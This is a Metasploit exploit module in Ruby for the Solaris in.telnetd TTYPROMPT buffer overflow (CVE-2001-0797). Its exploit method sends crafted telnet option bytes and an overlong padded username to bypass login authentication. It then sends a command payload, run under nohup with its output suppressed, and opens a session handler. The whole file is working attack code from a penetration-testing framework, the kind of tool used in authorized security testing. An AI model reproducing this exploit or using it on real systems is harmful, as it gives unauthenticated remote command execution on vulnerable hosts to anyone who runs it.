##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
        'Description' => %q{
          This module uses a buffer overflow in the Solaris 'login'
          application to bypass authentication in the telnet daemon.
        },
        'Author' => [ 'MC', 'cazz' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2001-0797'],
          ['OSVDB', '690'],
          ['BID', '5531']
        ],
        'Privileged' => false,
        'Platform' => %w[solaris unix],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat' => {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic perl telnet'
          }
        },
        'Targets' => [
          ['Automatic', {}],
        ],
        'DisclosureDate' => '2002-01-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(23),
      OptString.new('USER', [ true, 'The username to use', 'bin' ]),
    ])
  end

  def exploit
    connect

    _banner = sock.get_once

    print_status('Setting TTYPROMPT...')

    req =
      "\xff\xfc\x18" \
      "\xff\xfc\x1f" \
      "\xff\xfc\x21" \
      "\xff\xfc\x23" \
      "\xff\xfb\x22" \
      "\xff\xfc\x24" \
      "\xff\xfb\x27" \
      "\xff\xfb\x00" \
      "\xff\xfa\x27\x00" \
      "\x00TTYPROMPT" \
      "\x01" +
      rand_text_alphanumeric(6) +
      "\xff\xf0"

    sock.put(req)
    select(nil, nil, nil, 0.25)

    print_status('Sending username...')

    filler = rand_text_alpha(1..10)

    req << datastore['USER'] + (" #{filler}" * 65)

    sock.put(req + "\n\n\n")

    select(nil, nil, nil, 0.25)
    sock.get_once

    sock.put("nohup #{payload.encoded} >/dev/null 2>&1\n")

    select(nil, nil, nil, 0.25)

    handler
  end
end